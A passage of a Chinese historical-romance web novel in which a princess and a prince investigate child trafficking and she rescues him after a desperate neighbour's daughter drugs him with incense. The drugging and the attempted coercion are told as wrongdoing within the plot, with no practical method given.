封眠今日穿了件茜色团花交领短袄,配渐变雨过天青色三裥裙,盈盈一笑立在灰扑扑的房间里,仿佛连天光都变得更亮了。 她笑吟吟地颔首与姚知远打了个招呼,“姚大人,又叨扰了。” “下官正想着今日寻个时机去拜见郡主。”姚知远说着自案几上拿起几摞纸,上前递给了封眠身后的雾柳,向封眠汇报道:“云中郡近五年来自外地流入的人员买卖文书皆在此处了。” “郡主放心,我寻了旁的借口私下调的文书,云中郡官府众人俱不知我所调何物,想来应当不会打草惊蛇。” 百里浔舟:?我也不知道你何时去调的这些东西啊。 姚知远什么时候都越过他为郡主办事了? 郡主调这些文书又是要干什么? 打的什么草?怕惊什么蛇? 最信任的军师和虽无实却有名的世子妃居然一起瞒着他? 百里浔舟惊疑不定的目光在两人身上来回打转,仿佛听到了心碎的声音,一时仿佛失了声般,心里塞满了疑问,却竟是一句话也问不出来。 许是百里浔舟的目光太过明显,封眠转眼看见他面上的震惊不解之色,便知他想要问什么,先主动解释道:“我看世子近些时日都忙得宿在了军营之中,便没有和你说此事。” 军营中本就有一堆糟心事等待解谜了,封眠想着自己也可以处理好,便也没特意找他说。 但是要绕过人均有嫌疑的郡首府上下官吏,取得近些年可疑的人员买卖文书,查清云中郡究竟有多少被拐卖的人口,又是否是同一拨人所为,封眠想来想去还是只能请姚知远帮忙。 “幸好姚大人似乎没有世子这般忙碌,一口便应下了。这才没两日就将东西都拿到手了。”封眠说着说着又夸起了姚知远,“姚大人当真是剖决如流。” 姚知远摆摆手,“兵贵神速,迟则生变。属下也是多年跟随世子行军,练出来了。” 百里寻舟听了封眠的解释无话可说,毕竟是他自己明明有空却不回家,总不能怨旁人太过“体贴”,不主动给他找事吧? 他听封眠说了拐卖一事,亦是十分愤怒。他与父王在外攘敌,可不是给这些恶贼宵小时机祸害大雍百姓的! 幼时他也曾马失前蹄,因为救人而反被拐子一起拐卖过一段时间,很是吃了一番苦头。因此也知道这些人有多么狠毒狡猾,更觉事不宜迟,当即道:“最近北夷尚算安分,此事我还是能帮得上忙的。” “既已有了嫌犯画像,我可以让亲卫去暗中守在城门各处。他们即便现下不在云中郡,但既然是惯犯,便总还会来做交易。” 百里浔舟便暗暗咬了咬牙根,待将人抓了,他定要这些尝尝生不如死的滋味,看看何人还敢再顶风作案! 他飞快地将身后的舆图打开,在上面圈了几处给封眠看,“云中郡周边有几处人烟稀少的山脉,这些拐子在城镇中间转移时,一般不会冒险选择在城镇落脚,尤其是云中郡。” “听你们说,似乎有官吏与他们内外勾结,但毕 竟定北王府还在云中郡,他们或许敢带一两个混进来交易,却不敢选择在此处久待。” “所以他们很可能会在山脚处藏匿,北疆山脉地形都很复杂,被拐来的的孩子们进了山必然也很难靠自己跑出去。” 封眠深以为然,赞同地点头,“好,那晚一点我就让人将画像送来。” 说罢,她忽然走向百里浔舟,百里浔舟吓了一条,就见她自袖间取出一个巴掌大的小香包,一股极淡极雅的香味随着她的动作蔓延开来,丝丝缕缕飘入百里浔舟的鼻中。 封眠两手各抓香包一边,将香包上的绣样展示给百里浔舟看,“我绣的,好看吗?” 她仰起脸,期待地看着百里浔舟的反应。 靛蓝色的香包上绣着一艘艨艟巨舰,针脚细密,配色鲜亮,迷你的艨艟格外雄浑有气势。 百里浔舟在她灼灼目光的注视下根本说不出“不”字,更何况这艨艟绣的确实漂亮,当即点头予以肯定:“好看。” 说罢,就见眼前这张比绣样还要漂亮的少女脸蛋上露出一个足以令冰雪消融的笑颜。 “那送给你。” 百里浔舟尚愣着,便觉腰间革带被勾了一下,封眠已上手要将香包系在他的革带上。 “我特意合着你的名字挑选的绣样,香味也是我自己调的,我是觉得还挺适合你的。” “希望你也喜欢。” 她说这话时已系完了香包,仰首冲他眨了眨眼,让百里浔舟心口倏地一跳,连拒绝都不出口,脑袋似乎因问了香气而有些晕乎乎的,只能讷讷应道:“嗯,多谢。” 封眠笑眯眯地退开两步,“那么城外的几处便交予世子了,这几日我会去悄悄排查一下姚大人调来的这些文书,看看有多少是被拐卖至此的,尽量能早日查清一切,也早日送他们回家。” 百里浔舟闻言顿时肃容点头,待目送封眠几人离开,他出门越过姚知远时,忽地撩了撩腰间的香包。 “我有这个,你有吗?” 姚知远:…… 姚知远看着百里浔舟远去,清淡的脸上露出一点困惑来:“这么在意这个做什么?心动的到底是谁啊?” * 自打从姚知远那里拿到了文书,封眠便一直窝在屋里头看,到了夜里头也不愿睡,多熬了两个时辰,翌日醒来便染了风寒,鼻子塞塞的。 唬得雾柳赶紧伙同流萤没收了那堆文书,又端来一碗药,勒令封眠喝了药好好休息一日。 “若郡主逞一时意气,将自己累倒了,可要养到何时才能好?那这些被拐的孩子,要何时才能等到郡主来救?” 封眠拗不过,只能歇下了。再醒来时已是日薄西山,又听雾柳说世子殿下派人传信说今晚回府,有要事与她说。 可她左等右等,等到院里挂起了灯,天黑透了,连世子归家的马蹄声都还未听见—— 作者有话说:薅了一点阿晋的羊毛,可以给接下来留言的宝宝发红包啦[墨镜]够发五个呢[撒花] 第37章 “咱们沿街铺子的人都说傍晚时就瞧见世子回来了……”雾柳去打听了一圈回来,眉间愁色更重了,好端端一个大活人,怎么回着回着家便不见了? “郡主,咱们要报官吗?” “先不急。”封眠摇了摇头,“他身边惯常跟着山衣,若是遇见歹人,两个人总也能闹出些动静来的。” 就这么悄无声息地不见了,很可能是遇到了什么熟人,又突然发生了什么比较紧急的事…… 她忽然想起来,傍晚睡醒时,流萤叽叽喳喳地和她讲自己这一日听闻的八卦,其中最重要的一条便是隔壁元府今日要给三姑娘元寄雪定亲。 流萤虽说对元寄雪有了稍许的改观,但心底里头还是担心她会不会有一日进了世子的后院,听说她快要嫁人了,自是眉飞色舞了半晌。 只是隔壁将消息瞒得紧,她只知元府看中的乘龙快婿家中富裕,元寄雪嫁过去是享福的,心中倒也真心地为她高兴。 现下封眠想起此事,忽然觉得有些不大对劲,若家中姑爷是个玉树芝兰的好儿郎,寻常人家定了亲事巴不得让左邻右舍都来贺喜,元府瞒着做什么? 莫不是这桩婚事其实并不如意,元寄雪逃了出来…… “流萤,你去元府问问三姑娘可在府上,邀她过来一趟。若元府人推拒,你便直接回来。” “是,郡主,奴婢这便去!” 流萤扭头跑了出去,封眠又吩咐雾柳,“去找鸾仪卫,牵条狗来。” 片刻后,流萤和雾柳都回来了。 流萤:“元府说三姑娘病了。奴婢瞧他们府上现下忙乱得很,像是出了什么事。” 封眠已披上了防风的淡青绸面斗篷,脚踩一双软缎绣鞋,匆匆领着众人从侧门出了王府,不许下人惊动王妃。 她自袖间掏出一个小荷包,又从荷包里头取出一个靛蓝的香包,布料和她白日里给百里浔舟的香包一模一样,显然是用剩下的边角料缝制的。 鸾仪卫所牵的细犬体型修长,威风凛凛,正十分乖巧地蹲踞在门边。 封眠将小香包递到细犬鼻尖处,“乖狗儿,仔细闻闻,追着这个味道走。” 香包里的香料是她请教了侍医之后调的,凡所经之地,三日余味不散,最便追踪行迹。她本是为日后做打算的,没想到这么快便用上了。 夜色宁静,街道上已几乎没什么行人,只有檐底的灯笼和某户人家的窗棂透出一线微弱的烛光,巷角偶尔传来几声低低的犬吠。 手提的灯笼照亮一行人忽急忽缓的步履,影子摇摇晃晃地映在墙上。细犬的爪子踏在青石板上,发出细微的“嗒嗒”声。 它的耳朵警觉地竖起,鼻尖贴地,时不时停下,轻轻嗅闻,再继续向前。 拐过几道曲折的巷口,四周愈发冷僻,灯影渐稀,狭窄的小巷仅容两人并排通行,青砖地面坑洼不平。 封眠忽然觉得此处有些眼熟,好似是上次她因误会有人跟踪元寄雪,而跟来的那个巷子。 行至尽头,细犬忽然停下,目光紧盯前方, 那日封眠未再上前,不知巷子尽头那位何阿婆的居所的右侧,还有一道深巷,里头一间小院半隐在黑暗中,可见屋内燃着烛火,在窗棂上映出一道高大的身影。 百里浔舟强撑着走到窗前,忽地膝骨如被抽了筋般发软,泄力跌坐在老旧的木凳上,半趴在桌沿上。 他四肢酸软,全无力气,额上冷汗涔涔,双目因克制着体内乱窜的冲动而充血,气息紊乱,咬牙切齿道:“你早就计划好了?” “我没想走到这步的……” 少女虚弱的声音在空荡的房间内响起。 这是一间装潢简单的寝屋,一面墙前立着一个半旧的药柜,其余便只有一桌一椅一床。 唯一的桌椅已被百里浔舟占了,那一架普通的木架床上,元寄雪柔若无骨地倚靠在床角的立柱上。 她脸上泛着不正常的潮红之色,嘴唇已被咬出了血。 “若不是今日……” 若不是今日元夫人擅自请了刘员外上门,甚至在她喝的茶水中下了药,想让她失身于刘员外,被迫应下这桩婚事,她怎么会走到这一步? 她一想起在自己的卧房里忽觉手脚酥麻,不正常的痒意自后脊攀升,惊慌回身时看到刘员外那张油腻老态的嘴脸,便觉得如坠冰窖。 一想起被他肥硕的身躯压在床上,被他满眼淫邪之色注视时的情境,就觉得恶心。 她挣扎着抓起烛台砸晕了他,踉踉跄跄地从后门逃了出来。 那么巧,偏那么巧就遇见 了百里浔舟。 她像抓住最后一丝稻草那样抓住他的袍角,求他不要声张,求他悄悄将自己送来此处。 这一刻她无比庆幸自己曾经想逃离元府,所以悄悄攒钱,在外头置办了个荒僻的小院子。 她跟百里浔舟说自己被下了药,但有法子解开,需要他和山衣帮忙取一下药材。 他们信了,趁他们在药柜找药时,她点燃了刚制好不久的三更倒和合欢香。 三更倒很快发作,元寄雪最初制香时便加大了剂量,连一点反应时间都没有,山衣直接跌在了地上,百里浔舟亦开始行动迟缓。 他这时候才意识到元寄雪下了药,但已经晚了。 元寄雪单独给山衣喂了粒迷药,像滚石头那样把他丢出了房间,然后锁紧了门窗。 便是再不开窍的蠢人也知道元寄雪想干什么了。 百里浔舟打翻了香插,但香雾弥漫在密闭的空间里不散,依然毫无用处。 “拿解药出来,我保证,绝不追究你。”百里浔舟眼前一阵一阵地发晕,喉间涌上一股腥甜,血液滚沸着往小腹涌去,颈后沁出的热汗将衣领黏在皮肤上,一呼一吸皆是灼烫的空气。 “我……不想解。” 元寄雪亦是十分难受,空气中的合欢香催动着她体内被元夫人下的药,让她喉头干渴,十分难耐,可手脚又是软的,动也动不得。 她眼中蓄起盈盈泪光,脸上的潮红既因药效,又有欲死的羞惭。 她真的不想走到这一步,可她已经无路可走了,她宁愿丢光了脸面,被百里浔舟痛恨厌恶,也想在这几乎将她溺毙的深渊之中,牢牢抓住这唯一能触碰到的浮木。 “我便是死,也不会碰你的。”百里浔舟再次咬破了舌尖,铁锈味在口中漫开,痛楚让他保持着清醒。 元寄雪苦涩地勾了勾唇角,“就算,什么也没发生。明日一早,不管先找到你我的,是元府的人,还是王府的人,都说不清了。” “你难道以为,我会在这里坐以待毙?” 咬破舌尖带来的片刻清醒支撑着百里浔舟拔出了藏在袖中的匕首,他毫不犹豫地在左手上划出一道深深的血痕,刺痛激得他神思一瞬清明,身体也寻回了些微的力气。 他立即踉跄起身,跌跌撞撞扶着墙,往门边行去,半路晕眩之感袭来,他又反手划伤手臂,鲜血滴滴答答蔓延一地。 “你……” 就在百里浔舟扶到门框上时,紧锁的房门忽然自外部被猛烈地撞击着,不过两瞬,房门便被破开,一道身影卷着户外清新的夜风钻了进来。 封眠:“百里浔舟?!” 她双目飞快在屋内扫了一圈,略过绝望闭目的元寄雪,正纳闷百里浔舟那么大一个人藏哪里去了,身侧一道高大的身影便软软倒向她。 在一片惊呼声中,封眠踉跄着抱扶住一头栽过来的百里浔舟,只觉满怀滚烫,他鼻尖呼出的灼热气息打在她的颈侧,与拿烧红的炭火抵在她脖子上没甚区别。 一颗心提到了嗓子眼,封眠轻轻拍了拍百里浔舟的后背,正要开口,便他低哑模糊的声音在耳边含混地说道:“我没事,回府。” 扶住百里浔舟左半身的手忽传来湿热黏腻的触感,封眠费力地扭头瞥了一眼,瞳孔瞬间睁大,全是血! 呼吸一窒,封眠迅速吩咐下去:“来人,背世子回府。流萤,雾柳,你们两个留下照顾……” 她瞥了一眼屋内的元寄雪,隐去了称呼,转而厉声道:“今日之事谁若敢吐露半个字,军法处置!” 众人低低应了声“是”,一名鸾仪卫上前背起百里浔舟,流萤气鼓鼓地站在门口瞪着元寄雪,不情不愿地跟着雾柳进屋开窗,整理屋子。 * 浴间热气缭绕,百里浔舟泡在飘满了药材的浴桶内,体内的药力伴着不断冒出的汗水被排了出来,舒坦地长叹一口气。 被他自伤的左手横搁在浴桶边,越过浴桶前摆着的小屏风,正由封眠上着药。 封眠看着那两道狰狞得深可见骨的伤口便觉一阵幻痛,龇牙咧嘴地缓了一阵,才做好心理准备,细细将药涂了上去。 “你对自己可真是下得去狠手。” “我最恨旁人这样拿捏我,岂能让她如意。”百里浔舟睁开眼,眼底一片凉意。 想到元寄雪,封眠心下叹了口气,结合元府的乱象,她大概猜得出来发生了什么。 百里浔舟被算计了,唯有满心怒火。她起初自然也是生气的,但冷静下来再想,只觉得悲凉。 她看得出来元寄雪一直在尽力维护自己的自尊,家中的腌臜事能藏则藏,不肯被外人窥见半点狼狈,想试探百里浔舟的心意,想挑拨她与百里浔舟之间的关系,都做得小心翼翼别别扭扭。 想为自己的前程做些伤人的坏事,却又磨不开脸狠不下心。 现下被逼走到这一步,恐怕元寄雪心里的绝望还要更多。 “山衣如何了?”百里浔舟压了压怒火,终于想起可怜的小侍从,问道。 山衣也是将封眠吓了一跳,踏进院子时见他一动不动躺在门边,她险些以为他没气了。 “侍医去看了,方才说没什么大事,先睡着吧,明日再给他开药。” 此事不宜闹大,封眠便只请了一位侍医来,给百里浔舟开完药浴,又去看山衣。 给百里浔舟的伤口上药的事这才落到了封眠的头上。 封眠一面为百里浔舟掌心的伤口包扎,一面还是不容回避地提出了那个问题:“此事,你想如何处置?” 第38章 元寄雪不见了。 她毕竟是别人家未出阁的女儿,还被是被自己的继母下了药,百里浔舟本也不能将她如何。 况且他也不想将此事闹大,他自己的名誉清白也是很重要的呀。 所以他只打算日后不许她再进王府,不再相见便罢了。 倒是她那个胆大包天的继母,需得找一日将人套了麻袋教训一番才是。 封眠的想法和百里浔舟差不多,元寄雪应向百里浔舟这个苦主道歉,承受自己应担的责罚,而那位黑心肝的元夫人定然也不能轻饶了,仗着自己是一家主母便给继女下药□□,岂能轻轻揭过? 然而翌日一早,流萤和雾柳便来报,元寄雪留书一封,便消失不见了。 彼时封眠和百里浔舟刚折腾了一通,封眠才睡着没半个时辰。 昨夜。 百里浔舟的左手和手臂被封眠包成了一个棒槌,直挺挺地杵着,非常不习惯,一直试图说服封眠替他重新包扎一下。 “这样我如何睡?” 封眠果断地拒绝:“不行。这是惩罚。” 百里浔舟万万不敢置信:“我是受害者。” 封眠有理有据道:“你一点也不爱惜自己的身体。” 百里浔舟不大服气:“若易地而处,你会如何做?” 封眠:…… 封眠不得不承认,或许她会做出和百里浔舟同样的选择,哪怕自损三千也要先逃出去。 被人这般拿捏的感觉,确实很值得愤怒。 但她奔波了一晚上,当真累了,不想再拆、再包一次伤口,当即拉起被子一盖就要睡觉,单方面结束了交流。 百里浔舟没了法子,只能仰躺着独自适应自己被包成棒槌的左手。 他刚要迷迷糊糊地睡过去,便听身侧封眠的呼吸声不大对,闷闷的,带着些不大舒服的轻哼。 他侧首一看,人还睡着,眉心却轻轻皱了起来,好像很难受的样子。 百里浔舟当即挺腰坐了起来,伸出完好的右手摸了摸封眠的额头,触手烫得他指尖一跳,立刻跳下床喊人。 刚躺下的侍医又被折腾起来给封眠把脉,眼下青黑都又深了几分。 幸而只是普通的伤寒热病,这是封眠常得的小毛病了,侍医见惯了这等场面,熟门熟路地开了药方,说喝了便好。 流萤和雾柳都不在,底下的小丫头煮好了药送来,百里浔舟便亲自动手将封眠摇醒,让她喝药。 封眠烧得昏沉沉的,身上难受,又困得上下眼皮打架,迷迷糊糊的十分不清醒,闻见冲鼻的药味便躲,黏黏糊糊地开口:“不要。” 百里浔舟瞧着有 趣,她往左边躲,他便追着把药碗往左边递,“为何不要?” “难闻。”她又哼哼唧唧地往右边躲。 他闷笑着将药碗递过去,“难闻也要喝,对身体好。” “讨厌。”封眠扭头往左边躲,拒不配合。 百里浔舟直接眼疾手快地在她躲到左边时,将药碗怼到了她的嘴边。“快喝。” 封眠死抿着嘴唇往后躲,“拿走。” 趁她张嘴,百里浔舟直接将药碗怼进她嘴里,生生灌了一口药进去。 这一灌,两个人都呆住了。 百里浔舟小心翼翼地试探着伸出被绑成棒槌的手,想帮她拍一拍背,“没呛着吧?” 封眠一双乌黑的眼珠眨也不眨地盯着面前的百里浔舟,看得百里浔舟后脊一凉。 生病的人本就较平时脆弱,加上也没睡饱,脑袋里一直混混沌沌的,心里的委屈便海啸似的涌了上来。 封眠嘴一撇,情绪控制了大脑,泪珠断了线一样掉出眼眶的同时,一头往百里浔舟身上撞,试图砸死这个追着她灌药的讨厌鬼。 她成功了一半。 没把人砸死,但药洒了一地。 封眠以为自己是用了十成的力砸过去,看在百里浔舟眼里,她却是忽然软绵绵地倒进自己怀里。 为了接住她,免得她摔到地上又磕出什么毛病来,百里浔舟失了平衡,单手端着的药碗翻倒在柔软的地毯上,染了一地的褐色。 但好在人是结结实实地抱住了,完好无损。毛茸茸的脑袋恰好埋在颈窝处,带来热乎乎的痒意。 百里浔舟吩咐人去重新煮一碗药来,然后单手将封眠抱起来,搁回了床上。 隔着薄薄的寝衣传来滚烫的温度,让百里浔舟后知后觉地红了耳根,退开两步。 封眠一沾床便躺倒了,撩起被子便钻了进去,试图把自己跟百里浔舟进行一番隔离。 百里浔舟失笑,抬手帮她拽了拽被子,将露在外面的腿脚一并盖了起来。“躲也没用,待会儿药煮好了,还是要喝。” 被子底下的人躺得直挺挺的,一动不动。 百里浔舟看着,轻轻叹了口气。 他打小身强体健,几乎没怎么生过病,只有受伤被母亲发现的时候才会被押着喝药,没体会过体弱多病的滋味。 看着她这么讨厌药味,从小还要喝那么多药,想想当真有几分可怜。 百里浔舟忽然觉得,之前疯传的“解厄星”若是真的也没什么不好,起码让她健健康康的,少生些病。 封眠躺着躺着便真的睡着了,睡着睡着又自己将脑袋钻了出来,热得脑门汗津津的。 新的药早便煮好了,但百里浔舟瞧见她好不容易睡熟了,犹豫半晌还是没将人再摇起来喝药,还是等流萤和雾柳回来再说好了。 当下便只拿手帕细细将她额上的汗擦去,免得被风吹到,受了凉病得更重。 随后就这么放任封眠睡了半个时辰,天蒙蒙亮的时候,流萤和雾柳拿着元寄雪留下的信急匆匆赶回来了。 信上写着百里浔舟和封眠的名字,百里浔舟便打算等封眠醒了再看。 又过了一个时辰,外头的日光照到了封眠的眼皮上,她终于迷迷糊糊地转醒了。 百里浔舟坐在窗边的春凳上,流萤和雾柳端来药和蜜饯,轻声细语地将人哄坐起来,封眠皱着眉头将药一口干了,再咬住递到嘴边的蜜饯细细嚼起来。 然后两人立刻将空药碗拿走,开窗开门,通风散药味。 这下百里浔舟总算是知道为何自己第一次求见时,明明说封眠正在病中,却一丝药味也没闻见了。 饱睡过一觉,封眠觉得精神好多了,她拥着被子倚靠在床柱边,瞧见坐在窗户前的百里浔舟时,记起百里浔舟试图喂药,而自己一通发脾气的画面,顿时微微一赧。 “抱歉啊,我睡不饱的时候,偶尔会有些起床气” “无妨。”百里浔舟拿上信起身,坐到了床榻边,“元寄雪留下封信走了,一起看看?” 封眠点点头,接过信打开,看见元寄雪先是给百里浔舟道了歉。 “三更倒和合欢香确实是为你制的,但若不是元夫人忽然给我下药,我又这般巧地在逃出来时遇到了你,我本已打算将香毁掉了。” 后面接着又向封眠道歉。 “如果有选择,我也不想用这样下作的手段。可如果我的人生总要被一个男子左右,那我宁愿自己选择一个不那么差的。进王府给百里浔舟做一个侍妾,也好快顺从了元夫人的心意,嫁去老男人府上受折磨。” “我不想再回元府了,我想去一个全新的地方生活。谢谢你,也替我谢谢王妃这么多年来的照顾,我让她失望了。” 信件戛然而止,并没有留下诸如“勿念”之类的结语,只有一滴因提笔思索良久而落下的墨痕作为结尾。 元寄雪犹豫了很久,自认为做下这样的腌臜事,定会为人所厌弃,谁还会念她顾她呢?干脆就此罢笔。 封眠叹了口气,只觉得心口堵堵的,有一点难受。她将信折好,交给雾柳收起来。然后便看着百里浔舟,沉默不语。 百里浔舟读懂了她想问的话,道:“北疆对女子的条条框框比之盛京还是少些,她又会医术,应当不会缺了谋生的法子。” 封眠点点头,忽又想起什么,“你昨日派人回来说,你有要事要告诉我哦,是什么事?拐卖团伙有消息了?” “我亲卫中有一人家住城外,他说自己回家探亲时,曾见过画像上的两个人,往王巫山行去了。” “当真?”封眠眼前一亮,“那岂不是很快便能摸到他们的老巢了?” “我已经派人乔装去探寻了,这两日应该会有消息。” “那太好了。”封眠高兴了一瞬,转念又有些懊恼,“我的文书还没筛过多少呢,进度落你许多。” 她往窗外看了一眼,雾柳还没回来,她忙推了推百里浔舟,“文书被雾柳收在隔壁那个红木箱子里,你去帮我取来。别被她瞧见了。” 百里浔舟一动不动,“为何要避开雾柳?” “她、她瞎操心,你不必管这个,帮我拿来就是了。”封眠先是支支吾吾,再是理不直气也壮地催促。 “你当侍医光会看病开药,旁的什么都不会说是不是?” 侍医一边给封眠把脉,一边絮絮叨叨地着封眠太不把自己的身体当回事,仗着他随叫随到,连夜都敢熬了。 听侍医吐了一肚子苦水,百里浔舟哪里还能不知道封眠昨日就已有生病先兆,万万不肯去替她取文书。 “你便听医嘱好生歇上两日。待我将人抓了,让官府贴个告示,被拐的孩子们安全了,自己便会出来了。” “现下罪人尚未伏法,你便是将他们挑了出来,上门去问,他们也未必敢说实话。” 封眠不得不承认百里浔舟说得有道理,是她太过想当然了。 “对了,你是怎么找到我的?”百里浔舟忽然问道。 封眠一僵,地鼠进洞一般往下一滑,躺进被子里,闷声道:“我要休息了,你快去忙吧。” 百里浔舟:“……” 算了。 第39章 藏弓院四下门窗皆敞着,令风透透地吹了一遍,空气中浮动着清新的枝叶花草的味道,让人心神为之一轻。 明媚日光轻柔地笼住寝屋内的案几,封眠半倚在撑手的凭几之上,认真翻看着面前的文书,不时拿笔在案几上摊开的纸册上记录着什么。 耳边忽然喀啦一声,惊得封眠手中的笔在纸册上划出长长的一道墨痕。 “对不起郡主!” 在她身旁磨墨的流萤无措地握紧了墨条,她方才出了神,手上没个轻重,发出怪声扰了郡主便罢,怕是这盏墨也要毁了。 封眠一眼便看出她的担忧,笑着搁笔,点了点流萤的额头,“没事,我又不是什么书法大家,这墨能写字就行了。倒是你,想什么心事呢?” 流萤支支吾吾的,在封眠的眼神鼓励中,才说道:“奴婢在想元姑娘……” “奴婢有时觉得她人还挺好的,可又会做坏事。但她也是被逼得没办法了,那她算是好人, 还是坏人呢?” 经这么一番折腾,元寄雪努力想要遮掩的元府的阴暗面尽数在封眠几人面前抖落了出来。 流萤才知道元寄雪的身世竟和自己如此相似,不同的是自己被继母卖掉为婢后,遇到的是郡主这样的好主子,即便在吃人的皇城之中,也处处爱护着她,有时她甚至觉得自己被郡主当做妹妹般来宠护着。 也因此流萤觉得离开那个家没有什么不好的,如今她所拥有的爱,比在家中时要多得多。 可元寄雪却一直生活在虚假的家的牢笼里。流萤简直不敢想,年幼的元寄雪在失去母亲之后,看见父亲领回来另一个女人,以及一个比自己和姐姐还要大上几岁的兄长时,是什么样的心情。 是的,流萤才知道元寄雪居然还有一个一母同胞的亲姐姐,这位元府二小姐刚到及笄之年便被继母远嫁,短短一年就在夫家的搓磨下投河自尽,可元老爷根本没为自己的女儿寻公道,草草将人葬了后,仍为了生意和这户人家亲密往来。 流萤想,若换做是她,怕是早就疯了。所以她有些同情和心疼元寄雪,但又担心自己是不是不分好坏了呢? “好人和坏人,哪有那么分明的界限?”封眠挽袖给自己和流萤倒了杯茶,细细思索着,慢言道,“行善了一辈子的人,若某日经了变故,情急之下错手伤人,是否便成了恶徒?” “杀人放火无恶不作的贼人,一时恻隐,在寒冬给乞儿一碗热粥,这是不是善心?” “人非庙中泥塑,非黑即白,非正即邪。善与恶,往往只在一念之间。若因一事定终身,那天下无人可称善,也无人不可恕。” 流萤抿一口热茶,懵懂地点了点头,“所以好人也会做错事,坏人也有回头的机会?那坏人从前做错的事,就能一笔勾销了吗?” “一时之善,未必能赎从前的罪。”封眠微微摇了摇头,“真正犯下恶行之人,终要受罚才行。” 她顿了顿,悄悄冲流萤挤了挤眉眼,小声咕唧:“比如那位元夫人。” 流萤没忍住,举起茶盏遮在脸前,闷闷地笑了一声。 封眠继续道:“元姑娘虽做了一点错事,但终究情有可原。她在家中惯常被继母欺负,被父兄打骂,却依旧守有底线,未酿下大错,如今也知错认错,远走悔过。” “看她底色,良知与愧疚都远胜心中恶念,所以我觉得她还是个好姑娘。你觉得呢?” 流萤好似心头压着的大石头被搬开了一般,露出一个明亮纯粹的笑来,“奴婢也这般觉得!” 她饮尽杯中茶水,有些不好意思地重新拿起墨条,“我又拖郡主的进度了,郡主你快继续吧,我这次一定专心磨墨!” 封眠笑着拿过文书,翻看前,向窗外望了一眼,是个风和日丽的好天气,也不知道百里浔舟那里如何了? 如若可能,她真不想放他单独出城。这两日,她忽然想起一个之前梦境中被遗忘的细节。 在落鹰峡那场惨烈的战事原定的结局中,百里浔舟送父出殡,路遇了什么神秘高人,隐隐有劝他王天下之意。 当时封眠全部心神都被如何救人占据了,彻底遗忘了其后的这一行小字,再忆起时已十分模糊,也幸好那段时间百里浔舟没再出城。 不过百里浔舟临行前答应他,查访王巫山最多一日也便回来了,应当不会出什么意外。 封眠刚这般安慰自己,雾柳就小碎步跑了进来,“世子着人传话,说是在王巫山东北方向忽有匪情传来,要带人去剿匪,今日赶不回来了,让郡主不必等他。” 啪嗒,封眠手中的笔掉落在案几之上,墨汁彻底污了纸册。 不回来了?那怎么成! 若是这时候碰见那劳什子神秘高人可怎么办? “快,备马车!” * “什么?” 百里浔舟拧眉瞪着面前的哨探,眸光如利箭一般,“跟丢了?你怎不将自己一并丢了!” 哨探羞愧地几乎将头埋进胸口,“属下也不知怎么的,当真只是一错眼,人就不见了。前头只有一片山崖,兴许是有下崖的暗道,但属下还未探到……” 即便气越来越虚,还是将情况精准地送入了百里浔舟的耳中。 百里浔舟翻身下马,长腿一迈,身后披风飘荡,“带路。” 他们本顺着王巫山追踪拐子的踪迹,发现人似乎在往东北方向移动,派了哨探先行,却得知拥雪关突现匪患的消息。 这事才发生不久,还没报到云中郡。 百里浔舟福至心灵,猜测这些人兴许是想趁乱分一杯羹,寻常百姓遇到匪患逃乱时,他们便更有机会拐骗人口。 这些人的胆子和胃口真是不小。 百里浔舟自不能放任匪患滋长,他惦记着自己离府时被封眠拉着保证过晚上一定回府,便派了个人回去通知一声,兀自带着其余人向拥雪关进发。 到了据说有匪患的地方,哨探却找不着人了。 传出去岂不是让人笑掉大牙? 但百里浔舟跟着哨探上了山崖,却也知此事当真不能怪他们。 过了崖壁光秃秃的冬日,茂密的植被覆盖着山崖,加之地形复杂,不知哪一处植被覆盖的地方便是一个小断崖,自己走路都要摸索着前进,以防意外。 但本地的人天然就比他们熟悉地形,跑得比他们快,躲起来自然也十分难找。 百里浔舟半蹲在哨探所说的人消失的断崖前,试图通过草叶压痕推断出,人是从哪个地方消失的。 忽然他耳尖微动,捕捉到右后侧传来一丝几不可闻的窸窣声,头也不回地迅速拔出袖间匕首,手腕一振,刃尖破空而去,直刺声源之处! 稚嫩的尖叫声响起,一个小小的身影扑倒在草丛中。 百里浔舟大踏步上前,将穿透他腰侧衣裳把人钉在地上的匕首拔起来,然后单手将人拎了起来。 这是一个脏兮兮瘦巴巴的小男孩,一双瘦到突出来的大眼睛恐惧地盯着百里浔舟,浑身打抖。 “……” 百里浔舟抱臂倚在一棵大树上,披风垂落脚边。他看着姚知远半蹲在被绑在另一棵小树上的男孩身前,将手里的点心怼到男孩嘴边,在饿急了的男孩张嘴咬过来时,飞快将手撤走。 小男孩咬了个空,一口利牙嘎嘣一声脆响,小兽一般愤怒地瞪着姚知远。 姚知远晃晃手里的点心,“说话,不说话不给你吃。” 小男孩从喉咙里发出野兽一般呜噜噜的威胁声,挣扎着想咬人,见挣扎不过,便砰地靠回身后的树干,撇开视线克制着不再看向姚知远手里的点心。 死犟着就是不肯说话。 姚知远看了看他的眼睛,在阳光下泛出一点幽绿的光。 他起身悠悠走到百里浔舟身前,道:“这是个混血小孩儿,我怀疑他根本不会说大雍话。” 百里浔舟:“……” 承认自己的失败就这么难? 他正要说话,忽然见姚知远直勾勾地盯着他身后,轻轻“咦”了一声,然后双眼微眯,向前探头,仔细瞧了又瞧,嘀咕道:“郡主?” “青天白日,说什么梦话呢?” 封眠身体还没好利索,此时此刻肯定还在王府里看文书呢。 百里浔舟一边如此想着,一边不自觉地回首看去,然后便腾地站直了身子,将姚知远吓了一跳。 远处晃悠悠驶来的,不是郡主的马车还能是谁的? 马车缓缓在驻扎地停下,流萤当先跳下了马车,正回身要扶封眠出来,身侧忽然有一 条手臂先她一步伸出,百里浔舟眉眼微微压着,不甚愉快地模样。 “你怎么来了?” 封眠从善如流地搭着他的手跳下马车,先扭过脸去咳了两声,才道:“听说你临时决意去剿匪,又是拥雪关这般危险的地界,我放心不下。” “你!”百里浔舟咬了咬牙,心口泛起一阵由担忧引起的烧灼的怒火,转眸望进她清泠泠一双眼中,又发不出来火,语气暴躁,声调却忽地软了下来,“你也知道此地危险,关外便临着游荡的北夷骑兵,还敢跟来?” “我们从前不知上了多少次战场,如今不过剿一窝不成气候的匪徒罢了,有何放心不下?” “从前我也不在呀。”封眠答得理直气壮。 百里浔舟一梗,心中某处不由软了下去,像浸在热乎乎的山泉水中一般,嘴上却问,“母亲竟同意你胡闹?” “先斩后奏嘛,我跟你学的。放心,我只在后方待着,有鸾仪卫护着,不给你捣乱。”封眠冲他眨眨眼,彻底让百里浔舟没了话讲。 “你这路上可遇到什么奇怪的人没有?”封眠开始切入正题,暗戳戳试探他可有先自己一步遇到神秘人。 